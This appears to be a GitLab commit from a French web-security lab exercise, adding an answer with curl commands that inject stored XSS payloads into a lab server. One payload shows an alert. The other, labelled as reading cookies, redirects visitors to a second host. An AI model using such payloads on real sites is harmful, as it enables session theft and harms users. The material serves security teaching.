Skip to content
Snippets Groups Projects
Commit 84b2fd89 authored by Oualid Hassan's avatar Oualid Hassan
Browse files

reponse question 5

parent f3ae09e3
Branches
No related tags found
No related merge requests found
......@@ -45,8 +45,16 @@ On a corrigé la faille en utilisant les prepared statements, ainsi, la requête
* Commande curl pour afficher une fenetre de dialog.
```bash
curl 'http://172.28.100.33:8080/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'chaine=%3Cscript%3Ealert%28%27Hello%21%27%29%3C%2Fscript%3E&submit=OK'
```
* Commande curl pour lire les cookies
```bash
curl 'http://172.28.100.33:8080/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'chaine=%3Cscript%3Edocument.location%3D%22http%3A%2F%2F10.21.95.226%3A8080%22%3C%2Fscript%3E&submit=OK'
```
## Question 6
Rendre un fichier server_xss.py avec la correction de la
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment